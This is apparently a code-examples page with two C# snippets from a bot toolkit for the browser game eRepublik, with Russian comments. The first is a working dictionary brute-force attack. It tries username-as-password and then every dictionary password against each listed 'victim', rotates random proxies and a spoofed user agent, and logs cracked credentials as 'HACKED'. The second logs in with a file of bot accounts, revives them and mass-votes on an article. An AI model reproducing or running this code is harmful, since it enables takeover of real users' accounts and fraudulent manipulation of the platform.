Example #1
0
        private static void zombolize_thread()
        {
            //Поток запущен же
            lock(m_ThreadCountLock)
            {
                m_ThreadCount++;
            }
            LoginPassword LPPair;
            while(true)
            {
                //Получаем новую пару логин/пароль или выходим
                lock(m_List)
                {
                    //В текущем списке пусто?
                    if(m_List.Count==0)
                    {
                        string nextvictim=m_NickNameList.GetNextString();
                        //Там вообще кто-то ещё есть?
                        if(nextvictim==null)
                        {
                            //Нам тут больше делать нечего, по ходу. Тормозим поток.
                            lock(m_ThreadCountLock)
                            {
                                m_ThreadCount--;
                            }
                            return;
                        }
                        ConsoleLog.WriteLine("Trying to hack "+nextvictim+". "+
                                          m_NickNameList.m_List.Count+" left.");
                        //Генерим набор, чо
                        m_List.Add(new LoginPassword(nextvictim,nextvictim));
                        foreach(string password in m_Dictionary)
                        {
                            m_List.Add(new LoginPassword(nextvictim,password));
                        }
                    }
                    //Вытаскиваем из списка следующую пару логин/пасс
                    LPPair=m_List[0];
                    m_List.RemoveAt(0);
                }
                //Долго и упорно пытаемся залогиниться. Связь нестабильна, поэтому ждём
                //ответа именно от ерепки, а не от быдлопрокси, который считает, что он
                //тут самый умный и вообще
                string Answer=null;
                while(true)
                {
                    NerZul.Core.Network.Bot bot=new NerZul.Core.Network.Bot(
                         Uri.EscapeDataString(LPPair.Login),
                         Uri.EscapeDataString(LPPair.Password),
                        "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1", "", 0);
                    bot.HttpClient.Proxy=m_ProxyList.GetRandomString();
                    bool HasAnswer=false;
                    try
                    {
                        bot.Login();
                        HasAnswer=true;
                    }catch(Exception){};
                    //Если там не вылетел эксепшн - смотрим. Иначе - нахуй
                    if(HasAnswer)
                    {
                        Answer=bot.GetLastResponse();
                        //Если ответ таки от ерепки, думаем дальше
                        if(Answer.Contains("href=\"/en/tickets")) break;
                    }
                }

                //А куда мы попали?
                if(Answer.Contains("Permanent suspension"))
                {
                    //Ух ты бля, оно в пермабане
                    lock(m_List)
                    {
                        //Чистим список, если этого не сделали до нас
                        if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login))
                        {
                            m_List.Clear();
                        }
                    }
                }
                //Левый пасс, нэ?
                else if((Answer.Contains("Wrong password"))||
                        (Answer.Contains("Wrong citizen")))
                {
                    //Эм. А ничего не делаем. Наверное
                }
                else
                {
                    //О, кул, залогинились. Пишем в лог, чистим списки
                    if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login))
                    {
                        m_List.Clear();
                    }
                    m_OutS.WriteLine(LPPair.Login+"|"+LPPair.Password);
                    m_OutS.Flush();
                    ConsoleLog.WriteLine("HACKED: "+LPPair.Login+":"+LPPair.Password);
                }
                //Усё, а теперь следующую пару.
                System.Threading.Thread.Sleep(500);
            }
        }
Example #2
0
        private void Gobutton_Click_1(object sender, EventArgs e)
        {
            string sLogin, sPassword, sFile, sLink;
            sLink = TopictextBox.Text;
            sFile = FiletextBox.Text;
            int iLink = 0;
            if (sFile.Length == 0)
            {
                MessageBox.Show("Не указан файл!");
                return;
            }
            if (sLink.Length == 0)
            {
                MessageBox.Show("Отсуствует номер на статьи!");
                return;
            }
            iLink = int.Parse(sLink);
            if (iLink.ToString() != sLink)
            {
                MessageBox.Show("Неверно задан номер статьи!");
                return;
            }
            m_ssUsers = GetDict(sFile);
            if (m_ssUsers.Count == 0)
            {
                MessageBox.Show("В указанном файле ничего нет!");
                return;
            }
            foreach (var d in m_ssUsers)
            {
                throw new NotImplementedException("Login not updated to email");
                sLogin = d.Key;
                sPassword = d.Value;
                ConsoleLog.WriteLine(sLogin);
                NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, false);
                try
                {
                    if (!bt.Login())
                    {
                        ConsoleLog.WriteLine("Wrong login or password!");
                        continue;
                    }
                    if(bt.GetLastResponse().Contains("dead"))
                    {
                        ConsoleLog.WriteLine("Possible dead!");
                        bt.Revive();
                    }
                }

                catch (System.Exception e1)
                {
                    ConsoleLog.WriteLine(sLogin+": Possible dead!");
                    ConsoleLog.WriteLine(e1.Message);
                    try
                    {
                        bt.Revive();
                    }
                    catch (System.Exception e2)
                    {
                        ConsoleLog.WriteLine(sLogin+": Possible banned!");
                        ConsoleLog.WriteLine(e2.Message);
                        continue;
                    }
                }
                try
                {
                    bt.VoteArticle(iLink);
                    ConsoleLog.WriteLine(sLogin + ": voted!");
                }
                catch (System.Exception e2)
                {
                    ConsoleLog.WriteLine(e2.Message);
                    continue;
                }
            }
            MessageBox.Show("Готово!");
        }